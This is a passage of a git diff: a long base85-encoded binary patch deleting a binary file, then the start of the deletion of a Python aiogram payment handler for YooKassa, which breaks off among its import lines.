z$@?E`oxIHUtCPmy^SLLhyj-k#s(X-|t%rhmF|Y0(wf$PBxk_MX-K#_r1@U5i z-Lph81@U2A-Jgh56~v2?b!QN1EXb#rU3W8)W`g*zxb9ja%?0t|=ejG1d?E-HbalrP z`9cscdet34WUnB+kJ;>KGp-T%k<6aV8Mqv7z1h1t8?}I5tg3y2qwD}dsM%xl3xv&E zVh1I@0iLExesIGD4KexY1yAGgGaH`8hUbnxhl$N6Hs?P-HplGd%b3ao;c?Sfi85Ci z`0T)EG4Z*j&;3=TiMu!G{PN2(BjqIQ#m1-3b92_vhAe5gh2QQCK@6?j;N0!G*p<6C z7sDDXXn^jmMz_M%R`*-c%G6xyJC?Pui(8?over8&CoUHAl z2KeQb)32asi~cQe?wvdD1X1&Lh)F$CQFm-Wnv10QNhETE@yg*>=zvZTbA$29?qHDf z#C;*k!t(03xru#xqt0{`ie}*ED?MN3T2eq4qKe~D_79{i0CLhRv`KUF?r6g+tf}t= z;kn#fv)*#JOK%R)%=%!}2eca#qy$F)W6nRQ#NDE4Xg!>Tt$#oMcN&-r=*5gSYunH& z(S~&Y`w-InZbS0hj3Z5jty&ay=&kz@sVfMTxbNV@w)mm-h}JmV=1d!$X>+FyhJU{A z3*>z{_DimNgti!t{qqtBxz`?Rc`j@(bVRAJmQi10hbKf&kH)NM1VKb>uot`kevx(2 zNf00Ae!JmYex9A0$BXOV^#2#V`v~I0nXeyyO>YN+aG?6C2a&si_^|iO+pLw$U0M$B z@c;Jt3wJ?ycD19`{#H2C>T)aGYIV02dcK?gF2=t*>0K;u zyQ(erwLRDt?b~%}hd!V5`ve_7?eZxmd^-74Ed6xVr#SWL`A^aQvmu}1@@F&n8H)X) zvrqz?KKu1EJHpOi$l5G=1NWws3BKKMcH9eIi%@1?1Y%hp0IGk*B zuTc=l!C|ft(G(+@LqP`)1qDD7`44H?yuF$^HKcz_BII5yPd=JVTNpvODQ<`t8=<4OpO*uz z;M|8MpCRQQK_Zb<9z$wPusnE*5%j{vnB%+W=&=b2e%J7Ka%5lK^o%Ok8!P5r`p(5yGIW4>h!OJ zZn@oZ`A>c>`sYsMa^@SM<|J7Rdus2gO&i5CloJ&57a-@<3BvBh;965z6$=G1X3$mH zH?wgk`$0CYSMOB=r*rS;qDTD!^=SoqSC_RavTO0N)-6tKirCH7{#6lS%%DrNS7c*N z_RehVseZmXPUPI+?pN(^SLgo15)_~gg+;waQSYx#nsua!J*v~9liZw3EM1}?Mkm>w zb21oY`~R;HaV5tS44$0}!j)X~S|URPNkX6KF+@fR5|5tI!-@PMhy#P721Q{<+@Uy( zN*t9)E1LO<*q*pO5ld2*q+np_fu*sy^y1Pu>OaZ@8GoNL7*}Ro8FVV&sXXSDpI06| z(|e|4Ncw_wtWIB@j;U3rR>iMXf31oQSsSv@v0BG!7+P&;HH^z1myJW!53vqvuda=I zweQtN-<-ZVIF@rP2NUZ|tb;%5{!tgl>K&_x6%AH2z@TRbJ!iwp3QL`G$^0i@y!*G<=U=DW+5n&7}C!^0q z<3jXx+cbF}(gha*QTb?PpcL)&8apkU`E6uZ-yDA=}bmMFpK+Mf> zAZ%`i(}aWfu~U9$wFVI5AmJ}SPUp3R?Q7cWO-R9&lnJTWUGjKI$m9GAny3NhRM=brJ1U&4;0XQtHxs66;-)6xk~b0MIOpj|bvb)e) zAd5l{hj4ThKONM=e` zHA6gRB&+GI$a1C3f<+(|VZwJ+SC%G{#r;WGZgk%`v4 zyw%e=h(maNK_f6TCNCDA zI;E=kd^i&c0A?iw!e%856o#T`(S-~FfUa{CP%l!8G$jPWri7t|bi5CP>rSS!akn7G z8ftd#vRt990u%Yo4u%OEvRqVPW0Hb&>x` zpHFDPSwh!^q5aH{o*9kh@ymJI^A|C8(7gKao3L{Q5;uYU=z`?Ou%uX#buSB#vO1`3 z19w|D8}xVz8yfCuNUdpkow8v`amv}APAOssve}g>tYeJ1aVc#-u$G1-=$Jhu8$D|E ztA(!hd)LRd21jYlQh=IvcP8~(MV*&Tnq8#H6^VYVthJN7$>#(yMvDctHUxug!drxh zGk^NFbSm5h;f2)(!zsE%Odzu~U7hv9(if<_7LZ0gITv#16IBqSA>MqsLn9u@2^f!S zIo)_7xnGbPXz(JPK6P_pV~s5}aJNpEx|rE$W+TjRw2A-xt-~vr*~DIgDeg4A z-xS?m>-ie`d_ClAjQV=)*N)KZmMrRdYwA1}G2Bf*kW_eoyUq!w`&_K1@Zwh8j?@?o z5rh|wxy_g+VU8W#sjaYu)#2f03BQ0#O&;(?;J25(jUKHQw&Jd?h?X9YG0!e|mI`t~ z%(3-D38!KGv*$=LMv!nGh1$dBm7k3g??T6xBU|z~QxFcjjq@8j+y@2mp+n<5B1Z-B z;$fo>L~0ccnCJT~{I`uH7#uRqN-vspHcB4*Y zjPz>Zktmvm4XyW3d;5)mY~Goe(Q11uJTmmA1!6e9&l1Xb+0EcoyaXgXkXv%Vmof{eOgXDuD9z>n%07NvAx}|q!}Pc zJVt*!orC-~8*<~LUPMj_;>Dtmc2Z7UqLy3(W7{pHoB(1@aDlKn!Br9tAG)?1MUDVM zBNPL9NoeRWp?$j@?a<}3-k+i0X9GUN;Lm1!#?84<@Xk`(%WY|KDhN&X+MXt|ToBrM zw>?UvQj*SXD7@9sx5!X6DhL>kqSOt{l`#FdZ~RXf>dQSF z;b^0)?58hg>-1m7-Wr z2f6|v2ht8g#G7#mD>(Fx7sQx5Zuz<-a%&+VM*{B&Zhnf(T!&dPFUY;yV-Poev!UKFtEs!BDflVmy=V< zloaHp4Nv1pYo`vyil{9@J+KIA@=22*G=7{XKeZNu7+?5U{FPvkU-)w&Dvps!-I8hd z+aUvEvc_a#_jAYDPBJoePG82j*bQ`dlsPF=xs%m!Rg8_Dz?ISmf^cw-`8@{LVtU8o zM8@wK_BgtfFypTA3$K#IpTp+jJB#C9@w^h4Qu$0}T&aAoG8R-_P!+4H{!-NudeI`K z;;g1lnaw5+DdmHpP+IVaTn^I3cd>^>q-iE&C3rT0S3M`FOGuNGS0v+7c8BW7uRpv# z_l+5v&{zqsavgMGO1YoQ@vu=u7%Rb33Fi`UDdBDcIwlWE#=&wYXf2TSh^xcwz1cz3 zVX&w#DeAmr(rhHnKSZJ*Yszh78lMYde6q#m)&_(8WDAAJ=z=>8P1tDxy;$tq!0l#u zNnMhcshXLRh^ytVmdD-l-78>Eh5qRnnLarkc@?`?#K}shd1L8`vrjlet65Am_^qzl zrJ4&stmgWXLOf3St}@Nn1feaaZyS-X1o2@;`r>rzGXycRe!3zc+&#_&8mWMK$?F1vvTcexF8jM;f_ib$jLu1Q#* zfXxZ}6EGujeIh1i&d9{>oL_TruI@u_`wCEp!lK@+sDDl*%@xu_mDVZvF)VWeDDi zB9VSw13qlyvqaP(3PMX3-ZSDvCx{P+-4BVB7lij-+;@o75k%d4xfH_t_k!rh-`rCf7zfq8A+^x`sEjhJ{rs0TC87KW+%Fved z7`Y3?aB6!?D7~0i`X@Ha@q+kp$*=?8CkPearG6#!>$Ff^Y&Zvy+z5-WDVtSNsqCGzFDmu`YTh4&gxcj39axoKZt(HU~Y54dzm3uOMEWH0I%F zWEOiGkK%g7Q`0C&3G9tK$wkAz1o2`^+yNr>YiY^Vu`2yM3-(ivMqa|haudp9Quzg( z5swMXnuy1aa(g(DJQmQ4A*Cj=g)OS1xw%#<{~H;12;#-B8P_>?yXtD1npl@{xB%kd zI?PVNAQ$2#goAf#Gggr!fT$}~3ds?g&#^dTX$H1s?8v|`8GABtJ%eAhZ{|3D(65Ec z$Lkks$v0FGnm}jFA~H)5FE4N{CDO5;&aoGx)2FkR2HBAOio+{XMIcBu+)2+bfUr@9 z+9^!6zzN~-u~FTj)BqB1A&-UTBg`s0r!3q1*>s#w=OlZz;`NFcm@$O;tDdX#7mu;& zGbyQ=4Vjq!6Ond;@Ejn0Dv_TBc@?*L{Q}1;T&{qh(-)>=si6P!!ESu!m!eaO~?^pbz_NoTKI;UJx&S zsd17>1wq`1t$>*|mJ`eskd4t$S-c~N59h1jt_ws8n?afdqP_j(qba5#F*b zb)94NJ{vNv)M6rk2;#%kkLG_wLynd@DRT@9gv~Lmt;F+zfGloH?P2b9M@x7xUBG6{ z&%lYyYnjMzJhU<9G{4szyINdmfvz9-{ul#39{;g!;FEhgr}bn5KPc=pCgi(^e7&~$ zyyh6(Vpfa4iVVgL@BFdU9ys6D#o+v3aSsRQR2yG4O-{6ma&b3Va9(K z|Cd|pR+@H-WDQOmv=`$XXm_m4fr!BwfOA#Kyu~8ksy$44|BB zi58oAdrg81-5H|MZ!tmc>A(@A=<^1J_2 z+nK;eS=|5sSsVxzgs6Z?@rVj2q9FmraA`tFARHlPgNUs@ESra9WwRT1H$tqnsiIQU z0tyOv5Jl@zg?Lk?G+L@utzyNi9z?~nTA@~js`&rR%y;H_cCwG=Fa7O{@a*$`zVn^? z`p!JFfBPjYgqq~CmZgEKmqP0Inw`SNp2q%r{-p`DtQuld!DWGcd=0gzR;j}&HpAE( z*9Shm9{7BX@#f9dfo)fVZPE<+ZnNiB1>RVN)L#=oBD2SC3%qa}ga$fFA2uZ{3;cRH z_d_$Rmn;kHT?TfxW|%fE3jkxVtr>PStqS~Z71%n>MEJhBK5#Y1Z)gl}mIwB7Z;qI! zydK4#UJ=-V_vSrJHaxD3YbN{4ZOXuW!lIo7p-Mcltx zn#mc)4W4_x!1sH7{}XmNc3?cH@4K@cSgErjN+-sk*9AV}`w9kXb||}NY2aaAQYUDJ zu^Za-xV|62?z%Rxl{ecfG`lXq*6?5bc<-9PA|&EHs{$KP2G_0*;2*nVbzlQ7_pJ_W zTn$${wW}l9%4-65T$9G+Ui<;)xuN`GdEgQ*bAo1AT0EL9Umm!b7q2vo5!>Bb?2Z6_ z2Lb1?e7!WVd>IZ{UK#iVKQQz1ngIT>x7Gx9t%38O%vU}g#co_0xSz*;tY$Ektq8o% z)4g6ZyrDdhtzQv%tP{pc%BrYRM?=z%KD+v`U42`!SxZ?<8CzVotc+b#wz`a6Ti!Cs z%KAIWV_v#cx%3W6O^OJ;6=Cj7y*I&OSJEH-@BVYdvB}dU+504(h$V?(4-K z>h)wVb~!)1(v>mggX_^$UdwOp|5p@X~6--mzd$}28o_2vB{px)yTwJ6H_R1&4o*wqe zf!`d+ZtT6iH`_FR6O3DTYZ+)gjO`0ti66e{eG^<~cw#_|N?y~>F|#>vEsDrznuu+Q zkMm=7zUk3|Gnsn6-IKjI{iEsZPuM(wHRFVev)Go{(yg@{+c$Y}1r|H?EJ9?BKK4vU{g*o^D8E>xGow!lm!(37PvKQ>iuL=O25oLF{H} zBC=&)ujM90wtS|AhO=pBu$x9cJd%BP!95sK{7RRqaqRWx#TVk_8%?lf7bn@X_U@5a?i_vRXq?RP$QX9RxCh3uWv4GY zovoj=eiD0a@@tdXmBA~6?4DWo%wi8mAC9t@V=u>8Yoay5)~D8|GWhyFSIHH5pW(;Q ziatW2`bLLwAPz^|f_fh~UuD7owjuB*kfSug!5M)U(4q|AF`Ruc{Nv$lbK&Mf_P4^f z3$fw(yCQbQ=q01siZLt3z(A`V;q@c&`|(AZ3}hPvcnPojcula`F7RiNpJ~#cIT*Rk z(f8SGP9ydx===Wcta_{h>icXK48zw8RNyVPc*spd*p0{C1G8h{ZxqhP@7b({M<;m% zpB}Pf2-`E{S_od`5ga-Z>%>|Nr+FT`0TZp$G#S7yIreUl8clN9reof~>fdZl`mslj zc?G0d6Bw_Kc?#rWP5QC>apoq5^9xiU#mkESp1NontU(&WkTYf@684WCvSIAgV{xj6 zCcj`;9r)V=+3jPujAbv6|8zXNp?XI(`>6T`6qvKtpT+K(y?!=(AoNhk%F0_PeZyY! zTa>@TE-++*7h%$a)>R4f9kL&cxg360kaJEx6NeU@<01bZ_Z>>xZ!{4Rx_MUHEbPzG z5DNg4{x%5)!Di(@hI1HqZ$9_$`1!MQKROpn@muENwKM%3L)PHaXi}f>kXM5L0{O;6 z9t=JXa`c5tD_+#8zNH#Dr^x`esCqd_y(Wm(8N1KG07a8BcJ^F$9;PfWPTez=JrjC0 zgxP+p(uu=f`d>Bx?|l415xl)Ixeescnnc)_!8JAPKlW8HW$e&6m;EES z6Unnv6TE~F+ySyj6BufOuY!E5$pH3b@I{bAFH+IXWq%Y|k)ugJwlVk@$P{W)&h805 z9Ar-iUrED1VLwTGQmh^1vYUc;K(gfODdOCvTK{JZDKo`cAx>vAn1iSXTPtQmyOj5an#rNcKk3-+0HWd zkLf$6vv*VPrr3t24bWDsrLePn{A1{>Yc#>GjB!tnW6$8VZuWHQ=@h%J={h)>tp%_r zdfelvmd%=Aqxrb?B}5f~R;?2=6|W7G>Nc#i#{%5 zmrcD3q5ni9ElOK5gfF@Wp z#Icw#OKF0RJNpHYXEi~uoc%1wdz$32&kwp3ugaYMPrM#i^Cz?>yY(})j|Y7PE6>mt zHzBs;#6!HEs|k(?J?I^fN=enjFFnl7(C+Yhk>~}-ju(VgB z3FiAl)`85{1p9}F+zfJ=Cc@a%KI(56wBM)U0Jh_Z&rtHaU!pu4z%~v3D{OBkYT~d( zM_qwqVg_#*438fe!X6m?6h>xa-W-EYbvL$W@pFd0Jbmx!?8PZBPqDJjA(z-4vQ}wD ze=Lk-Lq~R|Fp|yDp5g7iL0@C>_m>{>(%^RxpyiqjV9yPH9pouZMBF|;?JMj<_*_F6 zMzAXc9q6TQC~&6mt&`g(v(?l7h*8Q?{RFb(cA~{tr^x`eZQPq6Z)<{;xN-M@{MSQn z8hZyu6^AWSKIF0`W3LC9s7XKe@tD16GFmk$WoMqt=3&f(7m(Q%*aU~fzF8^2f$zDC ze~K~YWs2aP$I(mCR-CKJ8SMVkU&oSvttNQQ;q=EqBAVbw4spH|(oqxiK&Nj2xkMB6 zK-fEi(Ss(r?7Gv}f!v@;Keqhzn?at^q?Waw_E+q8pK|jQt9ysWXkkuUj`V*|6SOd= zT?MjNlU%Xy8uMUH@Yc)t7RVfOxr%Ns`(*q+^bm(>f=WDoFG!gt^_Z7D)6GlJ3Mp8l z#c;|ker64|LKBRs#82fmXfhC|&aHz?LKCc!bVGJ@U#!Vs{NfN^>*{`uCIfMn4c-;* zzIcfWwkUy5;jL^~ax}#Fqu|8?yo;{MY__lP$`S1Ov9F9}JI4NVENdILdmP(4?$YsA z7ACC1%7mS1cPX`)${xxFqO7N(9(Wmzg!w@B4~0(_VrrlXj*}Yk+6dGtO+@H!JMBKC z^i>+-5RZ|MqCRfdM6CYZShlH*Z7X}LjJ;p>Q5g)Tzg2-LXO9kjbtuwG6P)id^Z}4x zY0{4^7Dw7SOI=s59{(wp?w4qCG$pP%RBDT8c?|QP<{1WgFyTL2lOx&PeYbx7)3Aos-8*Hhwzb-N(*?)U+E1gTEPWN8w9IjnpYfi5gxNwPhWibOp zq2K$E3j7%Si0kjsCAma;)&Wc#DQT}>v$wsAW z3~PWX(Y=>myZ6%T*;+n_&9u>A>U-gFC)CTz+O|`6i67pPl~r6NzaN%0i@x>Giqf}d z0$Hb?As_!IkTtAYe!Vo1wVuB2>6SI5M$)z2vdU(XY`3gGoGHKlC6IOTEcta&R#vy4 z$*)gbm^E>g{CZ2bEN8X+IwflZef!IbK-PcWl{8yk{Ql?fk1}ibcjj~Mtee%xQc-<~ z1Qrlq_MQZEvHn54<$cL#$`@0uQ*h;aIzAvSFBTTM1TX$jg25yoK<07z#*ZX#Ao-sX z?;t*qcoA{yV+jr>UQIlYcz@#DLd*3R8~keGbBO1V{N2P`hz}*cg?JnBpHcYVBA)$; z6l^B>J;aw0A56U80Wv)8#2+SJNWA4!36#H;#M=yBM_d<2((`NL9VAah%(_*{|4Rx| zfwVReZzVpQ^t?`d8}T=Z?tQHThg-@oa@OOlOCQu#EXd+lYCVcg=e<}Dqics zxts)%6`nQVTu;HjWq7DMSsRG!#)rcH z4Dr0rC74DW2c63LMf^rp?+%na`wJB z!E>#G(sX_|>1pdB6&y$MPZRGTzK-|~;>)t6{Ds87AfDY*^7DxI=_AA6Li{C)?}@}! zH+mF>e2NsK)mBn30@-o_;C$UPFfF<{Bq*Y5zixj0r78$&*?4YA0&QwU#UlT z;KWB0*S$G~KS*44?GwgJ2MfRhR<<>#LuM4Jt@tbJMmT{UVkP& z$0$GBi8mPe{x0zjikHeSyoM#>`!UI*`xYN|h~x!EI^+=FX5`~A;w= zT;i*Ya=Vat2bG7jC_KxQe#$SE?>Nj&)@!5u{DpWcrRQ+c^8)dO#8Iup=S||p#7`mq z5pj$72;yH5Z+~Cr<0#^RLuGi{h^umP5b-(0%Sk?$cq^6jA;bp}?|4t@=ko;qDNypn zmA~VN7ZaZ>#jVN2+o`_P60aeC4{_;>Wz8Xex51;tTPU1}zW6L4ey1USDe+>GSLya! z;)94Qe^(Q?hz}zDw-N84^vA9EY#`oll*1>8@1pXi@)wo_QBLxV^8BfiH|puP#OE00 zEf)okw+|h}RXU6$zSt*g zUsQjzk$8*Ik33Dho#KV)i_d$+J4nCkcRp9#2>$_S0D1bnYVbpecNqC{0`YBz{21cr z8sVQrJde^-%`5Aaeri`$`-306mhA)Oi^{K?iMJZ@#jiLD`Rzt~_!RN8jC6jPc(Kv` zd`5f^`K#JnhK`A+Po5!v1o1Nr{U;JHru0$cgz>}+3|>imn~}~A@ob~~Hxr+1l-s4m zXB+8%Bk?@L-+PHaXQbO>#4W?$=ZRO5eibj+5k>lJHOj*$#9K*Tjk|DufRI1J7^ihZ zMdRtb)d){E@hL_+A4Pl)l^-=fnn=9kRoPPIQN4%~f5OmzA@NNHUrfBz@E0##if|Sg z>3=WrY$KgF6K^!??>6H9pmtJ?8($~Bn$k^;$37r_yy5S+#EXsg>Tpyvo}QLb@5U)k z>2?&QPnh@|O1EQ(Uq!s#D4*+yw;J-#5Fcpd?@PpsC_Pm>xs!OgQEqn=&!+gQb|4E4 z1&`Nc>we{;DBgq2!HnJDYfwkzezPKWvnfX5uAA_%A13Z0K1NnDlNeBxUv{Z+eKO1#a8SCDwC(QnRE@Igw;17^O1#}j&z~zj#MQVcM!e17zf$_CT%Ak#crEd43a84KR^qoA z`LdpPqY>Z7iQjCeFE+;E=McAyb~vdx=~4EUONh4`^?fz*Mx(ypOZ;l1y#0ar9MUt6@^PEu zhMt|ocNy{BP5eS5zTXi~8T=qL2%;UJd{pJ+Na7u@$nnVu6rM@M8;$Zji}-Jhc!h~C zGs;Pdc&jm9y^6SH@Y}(;T|Mt0X~)A0P2#hOxLRjBn)u&|>qR#T|38Vh_mP4~7V+6f zyn{G~+2S(*0}t-6)mO@IBK^aNw`WVRjpVC|FFRQBtBIdaynyVP_YhyB^z@VR=g|NQ zKdL7DEy$7lXC(iO(ocLP@lTX|u9W{$UaSN1NY6kCT1Y;Rc$>jTEBV9I<%3Gz;O8s( zBc%MJmi#OwzRTbnh_@XnLcuta?|zI7f5)j(eg=i-DB=Z0lGjrMR7AY>bjkZu!*@3E_KA{z zCNI`i#M{axcz^~#eGRq_|RNss?dysA=i)$e~od=BxSk$m7-8UFUFboqhAw-JAy z;x&qR>lsqM8|euVZwpF(J;`4}ysAd>cZgq4yqFfWX<5a(U&)^-28C#Cbrg6CQ}#yZr`iDw(UiS)FOO4sv}(tk=iFN9%} zho@y^I=_r~2VbDaM}>1I@#2DXUV5BNpFzg@^%;WaSRF-DK2K<~tec6q8~lCZtp*=* zJcZNX3F31Mz8RdCt6g!K@O<9@|MVOxc?(_~&y-+KNa`O$yrnr^e+%(!yt~Uk^9rT>M&i3Jl03vDKVTTum)=tU zI~4vg;36M~%ZS!Xacc_k_Q8@D6Au%&hDcsT{37CWi0`3ztyJ>Eqe30NU9#A3M+-ejPin7JIP(SX zZ*4Qeb1JxH9ckXFN)Klgyqk5PWfdz)c};+;HrD&(3LlPR zu`y?~eE3r~2?oK75uBZ}j26^x@a|@U=etVIRH~T-ltx)$Cm#`7eDqL%*Hv zRY2eKeE4q6mov#1_{f*|@a@ND)^oOx{CPh77vP!FVX2S&S|7gAhi~=aZ~5?#efS<9 z-eW}ObU4_DAMe9Q`|wFV{45`Sp%1^phqwCh^*;P@A6|{FG*h|S?jyew{E!Ug_A4Lx zo+C5sKhlQ}_u*rGc!du?%ZJzd@L%}w)js?#@VpG^u+c|;iw}RphyTlmcRM+A`u79R zl#h8ne2fpD=EKkN;ZYyH$cL}-;Sc)or+xT4KKyeZ-u;x!>GM+`KG=tk^x=+AJ(}Pn ze})fF`0y4VevJ>m#fRVL!#DZxzxnX@eE4o3{;d!1J1TR&4E5n-e0aGJulC^)AAT|T z!I+oj8Fq;WedODHIF97cSRdc_;ek_mz3yX~uc!0}&s49AeE1X}KHG=KeE20k{5l{0 z3!n1;dms5nefV=ee1{MJ%7^zX%A9WfefVG>KEj7r`fwXOQ@_ycBfrFlulC`0`|!tn z_^UqrJs#XfwA54W1*@%f=-GGsS~n)Ab! zZ8tVAv{Q|CDiONCNhBS+s6G^{jpD0a1d#?OmP*=%BfQRR=_nbFH#&AQm1qj5Koaq= zlT6y-P&7I>6rRuZ+sf7d%$q{(PpBc@6ieAjC+dV#k$CKX=EVpdYI}h*w;sv$KT|zY zhaRcwB)oFO4VSO{qxC(fMvZC|MASq<-Kj z5`Ug@*IeEd6B%LGIVt=6rcg8%YH%_?t&7IzhN8*L55v)TvMJ%?G90hX@I;keDCDJi zZX}5^VRKnKKKDF)*Iub;%h<)@cFb8o!9co9XihmvyCgX=-ZVGrAdwoIRT!1SjIm35 z=!te!^9v84NI11kVaIkBcGi3* zVjfTM3Te;4Q>y5Q@sF(IKUA=|2lEn+6Bae|$F(C}^&=Wdrv4A3fd=u%r&Cv|`TnL; zSN+(Jbn1#1`;|_aMA(xuT&lo=DjxwYAgZwM|i{+VSalJ-tt<+l7=O>83lW z`gm>UULxT%>Ru_WBb%3y9XM~+8&y!^Mcwg%`rK$Xe)_Nk)_)JN+rsj9GNlTpEiVL1t?;CUo{D~a*$L4Gd} zPDixUVlufTIGO*=o-t!;NibNVWj!h?CfaVgRm7s0zfN_U=f*>c+6hgOXsyG00O^DI zG?mgOg86p(!|9>K{H8|ja(YQcr5)t`PmN|(C9|iORo2)us%k1`RPw?qeW|LbE~z=W ztY*e36Q|8CDX1x%Fxw4ym9(C?!t&luHig5EQ|r{)^Wq8H%--sm6SRwJr!nfpBFXv* zp=c-;c7nVU_B>5Cq7Zrjru3d92s&tIQZ`aZJ4sg{?vj&W32X^lqC{zHz{XH zD~Rn}0IP+aaKcXH0>>>^D#Pru%907w%Cuja^IXkLJ-Ml+Wy zw`kghh1vn^Ri5uBd%mCI`F^VBdy)Iy<8*{a~^l}NW2b%IrHA0mu%oF(&}MI%8F;ab#aTA zdXmC$FWE^KtVz+NJ)f$h_i=qH<(4lp+qsFU?0CX7B5PGBmR#T|$Du@>$GfE6kX~Oy z$>vx%5=TVHq~#H&-cPE9$%$7Y9kjVdlcAf#^P8N6TW7+d#+0;2Nj2g6P)h4SPXJS= zn+>qTz%b#4APoCq5Fw9*Ez}4S8Z&>&$I(BU$St!-`-?c$a zmes0)i(qv_H8QSnvNlpD#@Moe!S*bQl3U_=&31h}FX$vuyG32SJ-mJv;&c&Y! zkH@uGE%H`&5+N&mCrNLc)9A!%y_wKh?=A3{AYt0$MqRBosouj_1;Xl67nY+uQle2( zjkH=Qkr}EqWoQy~ggna~(h)!mO}bkd5}}wU=fohY(XDYX;zz)|pfTEP_H+pcJyX&v zgpMhe)^hVM&{KR8alX1CgM>8^J{&}m^PrepOi^z2$U#>$EK5Y@MZ&z_@VH7Q-37P# zSb|HX&nq}cA37xCQNGmT2Au=k!ymU9;KmWxlg6m0QbAiHm0S=>xox81ff`f03Yr={ z34wJT*Yi}Jw~VIhy{UxC5^|dsKGe|~)5ksH&gP~p-aVg@He`^`rW@52)LX!t8qv== zwmB*xoYoj}*l(iaWqt7!yZj@1EfYVuTPesi*ZbO9gcd+y|FnFf5^#5*=VK~Z(s zJ6iAvCSu-5VZ~HGQ=LL5V1``@de&R3Fk5!lD1#`PWom(|+<_IMG~UnhmkB|t(t|3IOo)LE~E>q&7+2z7j&6o|@lQ89pX=CGbZU}LbHBFeFkz2?q zb4{l8!|&0OZqI?9^i{~tVdm8?&Nli=o=4%ne|%T6Yyx_0zVn{^m!LiI8ik(htevr}D7c;SK66 zG&8|eyb%U9ZIm&JjgLt=U7g1sh9Q}4j2^f~1bXTMG2^zCiHm|#6~b1G8DfkZicWQ! z7sL~_$qc2NtI)+#xmByq<)I{uRnaK75N2?z(~ir`h&d$*J_O?7!hd9zS7li}aO)&I z7G`cfZ00FN5|f-5Pc^g~+<1Y>i=CE~8G`{gwk@i4nyg5e3=Z5d@OFXx)lk~rJx|;a zRZ7cQS^<~hnV#6QBTlr|_AEQdO01KcT7imKkWZ7-i_XuFHI8CW&2&EfwBO(upOXnDR1Bgd_72Rw{V! zn3jZ6iJfLN_B7r#ynp@PY!nivRv8HIBbaP!jOnm2kB7NE7S0=y6w@&hwyTcA9oWJggAEqS(&P3uc7xL}7yD^DyQp(g7|-elst>Y5N&JIVTe;8=3@<#K z`@r|6baLY3hwNU{^%-|6rgkzK*MY>uqbpTrRHr5-j0t?IY2G~SImSAjQ-`p^UYx=L z1h)k6G^mZM{Ux;+KOza57Fw|VVU7iZs2IFwkg#DJjo6_?0?jBlbv0XJ+lpP=)X>1Y zea{{2=`aC$MKS8EE}342m8*%iZ3$I89LYG$uY3=*Wlx-4Su(w%6m(MMOuK9{IhZ`L z8mMM^sd74L+KdS$)9e}L<-xKVyM`}>K_U0hvyRV)lI3x3g$JYoc90hCtD2`FMZ_dk zKjRC?ki>w~4mKmX8sq@7s#z@glS{e63^55K7drTkVH39Fh;b<&Q}>$d|YgNKry3qURMU1-Ga+ z;Yh?@P!F4HvJtZnNZDn4hefp$Zb~FEi|3Oa9&DZ@l-$!XoG!<{Rp3dOioh?v0|0lG zO}tw1y#lzQ=-??0=(*iP&elsr@e_$f`H18UMkB(1bL$qlNs5_;%sp%t2=WZ^j^r_o ziiF8CJ|pGXtDTZpZW&4o5;s`P3MF8#;2Q0TY9Ep}uuel`3j2}7b_J-FNy*bg>IC9i zD&t6-I4YIAMXdB=l^mte&l6ONqj1BR?&xxb2P%*-OzE5Ih%n&@lP(e+I%vs8?{q`V zDSKtSUGI1?<;!6(0P>}``uX-etT`1=npQEP)E<$4G7k%COf?ofA`P^Zt+R4kTx1## zY(|p~MTBRcOd3y?lu~igk>e%BTWPqr`XL3wGYddsC&Kj!9nul`r;rfOP6P>S?qYL_ z+7G1bFP6Mj-GY~V`iFb({utVN&z|Em z)N=p$Tx$YPV^!LMb~4t8{Vl0^X^$tPX#k)c;`OUM5);KB!CO34{Io=6T(@elvXtBskUYa=P2o+J&0WeCN2nJ2^ntXL$Y1og;f6*dorOqAGN{$eKy*YN^9^~m zN)uHCB(s=&%VZO66!(TV(It(1sRDOAyJ4D987Cs*Nmi=&x*+qqs7!>yGJ_3)rS&1C zG9oWpKD!*|Ic)OaFVvub*TKTcOF8y^+VD=ct=x*K(+IwKS_v+b-tJQ%XW+%2c`z5q zkn+@NY}Tn$$SVxbVVTVcq_=mmr^ez7Vw3q|WK}Z^ME1-Wn$`Kz@~Ojt>cSf!?j6d~ zj4+y77*@Rzu1L=Ew#k$>@*qXbWJ5 z;ybg-qakc2NcTxT0kqFVM(~vlH)7N(qalpxjG^S3hCNSMz0fU|H!{<($QzZxbCppl zsxkl*wp`MJ$9$J8vzXilnM_ylje;qkF2JinWG>d=lne!|A{kUm z&r(yGrIWN%m&LnoIkr$yrI>RMM3v|E)v|?RaL6BFLE6zcrz1tsw!;fUe0(puCEfPP9$1A-Rx#OlRPix} zyA!mGkCt$+idiYzK{*bQg@0Bel5%Fo5+OZ|5oLp#GG3Nc!ip}0^3(0es2p4Q$>s)> zLtIk{d97F9uoCO!*TtIhVIRTDCW4c%k=V&}5*GV}fY>^cU)vmmGD}=h^TZSWf+ug^ zyf-$UC7fu83(~j7Xv)eLbC-O4&96g$Exup{*~%B2#q#;A3(|41OquW0(>$xb7TVOE z)FCHamT;lI!>dpOULfGAxn_itkLdH~VrK>{#SQ$WQ!u{k2Tu6PIk>!y@I4*s(cHNS z=K^)d_iU)|NHq0TY~}FY$HP%{<62=NRwwT>yzKiU5RPxQvhb%)3A>ZNsB4~~v!`*7 zW1Q05ZzcEYI>?Y`#(fFyzx?jIxblA&eNk5&?+e}eeqPL%tqLpil9b*<|y@74cYhxfzJoBhrc{*5?amVeasY;vH&ul!Nh zddTkcxX(FSIJeZbSl(J@_z7DJ@P+GE`pzQv>dJq&hkum+X8eCm&n5^d%lZ)Km++6e zS`>fo{xJNR?ym&nQS5;~@hMKf^77^VsBkEDIlg$^=M~E*>YA-QBnRqD1$A9+xG$J2 z1=Ur_k#l_}gW_up_r>I1U3G*>fpVv=>rD4mQc(SF<-&TEGmsq4=T4~<*vFNXW}Po*YxZNs_x z-j9);*7JDS2Y*y;^?8Wxy(KZ_)xEmD4!3@-JAWnb)zA)KLJsMo{8!iMKJI7d$cFnwov~7Za;L86ko$CB zEbFp?(*4l)(-kOpO1{Cz{rZ5cAz!RjlIi{{%Jr$XM=^fA^A_p;L!3XvKZEdhEreBe ssQ&vW;OQac(w4RC73uyaoGaq}nBhMd4>P$x>0tiEvVLheFmA2?2Zw#?djJ3c literal 0 HcmV?d00001 diff --git a/handlers/payments/yookassa_pay.py b/handlers/payments/yookassa_pay.py deleted file mode 100644 index 752f2910..00000000 --- a/handlers/payments/yookassa_pay.py +++ /dev/null @@ -1,265 +0,0 @@ -import uuid -from typing import Any - -from aiogram import F, Router, types -from aiogram.fsm.context import FSMContext -from aiogram.fsm.state import State, StatesGroup -from aiogram.types import InlineKeyboardButton, InlineKeyboardMarkup -from aiogram.utils.keyboard import InlineKeyboardBuilder -from aiohttp import web -from config import 